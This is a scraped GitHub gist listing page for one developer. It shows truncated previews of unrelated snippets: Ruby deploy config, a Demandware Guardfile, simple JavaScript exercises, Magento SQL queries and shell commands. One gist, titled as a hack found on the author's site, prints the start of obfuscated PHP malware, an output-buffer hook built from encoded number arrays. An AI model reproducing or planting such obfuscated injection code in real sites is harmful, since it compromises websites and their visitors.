Skip to content

Instantly share code, notes, and snippets.

@caseybecking
caseybecking / gist:1130632
Created August 7, 2011 18:41
deployinator multiple deployments
module Deployinator
module Stacks
module Boilerplate
def boilerplate_production_version
# %x{curl http://my-app.com/version.txt}
"cf44aab-20110729-230910-UTC"
end
def boilerplate_head_build
# the build version you're about to push
@caseybecking
caseybecking / gist:1143110
Created August 12, 2011 22:06
PHP Hack on my Site
<?php global $ob_starting;
if(!$ob_starting) {
function ob_start_flush($s) {
$tc = array(0, 69, 84, 82, 67, 83, 7, 79, 23, 73, 8, 9, 12, 76, 68, 63, 24, 78, 3, 19, 65, 27, 14, 70, 80, 29, 16, 85, 89, 17, 86, 2, 18, 77, 91, 93, 11, 66, 71, 72, 75, 20, 87, 74, 59, 13, 22, 61, 52, 25, 28, 37, 35, 15, 1, 21, 30, 34, 92, 36, 41, 88, 46, 51, 33);
$tr = array(50, 5, 4, 3, 9, 24, 2, 0, 2, 28, 24, 1, 25, 31, 2, 1, 61, 2, 53, 43, 20, 30, 20, 5, 4, 3, 9, 24, 2, 31, 56, 9, 23, 0, 10, 2, 28, 24, 1, 7, 23, 10, 3, 1, 14, 1, 23, 15, 4, 7, 13, 7, 3, 5, 11, 25, 25, 31, 27, 17, 14, 1, 23, 9, 17, 1, 14, 31, 11, 0, 34, 0, 0, 0, 30, 20, 3, 0, 14, 9, 30, 15, 4, 7, 13, 7, 3, 5, 0, 25, 0, 17, 1, 42, 0, 64, 3, 3, 20, 28, 10, 6, 18, 41, 37, 16, 32, 8, 32, 6, 12, 0, 6, 18, 16, 29, 8, 16, 8, 23, 6, 12, 0, 6, 18, 16, 19, 32, 23, 16, 19, 6, 12, 0, 6, 18, 16, 16, 8, 23, 8, 41, 6, 12, 0, 6, 18, 41, 4, 19, 29, 16, 19, 6, 12, 0, 6, 18, 8, 41, 16, 8, 16, 19, 6, 12, 0, 6, 18, 19, 1, 8, 49, 8, 26, 6, 12, 0, 6, 18, 16, 55, 8, 26, 16, 32, 6, 1
@caseybecking
caseybecking / Guardfile
Created March 6, 2012 23:12
Demandware: Webdav
require 'guard/guard'
module ::Guard
class Frontend < ::Guard::Guard
end
end
settings = {
dest: 'https://dev02.web.thelimited.demandware.net//on/demandware.servlet/webdav/Sites/Cartridges/version1/'
}
@caseybecking
caseybecking / gist:7226565
Created October 30, 2013 02:58
Sample Code for Mike
var theNumber = Math.floor(Math.random() * 20 + 1);
var count = 0;
var trys = 5;
function Submit() {
var submit = document.getElementById('submit');
var output = document.getElementById('output');
var myNumber = submit.value;
if (count < trys) {
if (myNumber < theNumber) {
@caseybecking
caseybecking / gist:7331508
Last active December 27, 2015 13:09
Iterations with bold
<script type="text/javascript">
document.write('<table border="1" cellspacing="1" cellpadding="5">');
for(tableRows = 1; tableRows < 13; tableRows++){
document.write('<tr>');
for (tableColumns = 1; tableColumns < 13; tableColumns++){
if (tableRows === 1) {
document.write('<td><b>' + (tableRows * tableColumns) + '</b></td>');
}else if (tableColumns === 1 ){
document.write('<td><b>' + (tableRows * tableColumns) + '</b></td>');
-- Make sure to uncomment one of the where conditions below or your query will take forever
select
lu.visit_time,
inet_ntoa(lvi.server_addr) server_addr,
inet_ntoa(lvi.remote_addr) remote_addr,
lui.url,
lc.customer_id,
ce.email,
cs.name store,
lvi.http_user_agent,
#!/bin/bash
################################################################################
# FUNCTIONS
################################################################################
# 1. Check required system tools
_check_installed_tools() {
local missed=""
sudo /usr/local/opt/varnish3/sbin/varnishd -n /usr/local/var/varnish -f /usr/local/etc/varnish/default.vcl -s malloc,1G -T localhost:6082 -a :80 -p cli_buffer=81920 -p esi_syntax=0x2
SELECT table_name AS "Tables",
round(((data_length + index_length) / 1024 / 1024), 2) "Size in MB"
FROM information_schema.TABLES
WHERE table_schema = "volcom"
ORDER BY (data_length + index_length) DESC;
-- This takes about 30 seconds, but will make the next query a billion times faster
alter table sales_flat_order_item add index (product_id);
-- This takes about 5 seconds with the index added
select
cpe.entity_id product_id,
cpe.sku,
at_style_number.value style_number,
cpe.created_at product_created_date,
sum(sfoi.qty_ordered) total_ordered,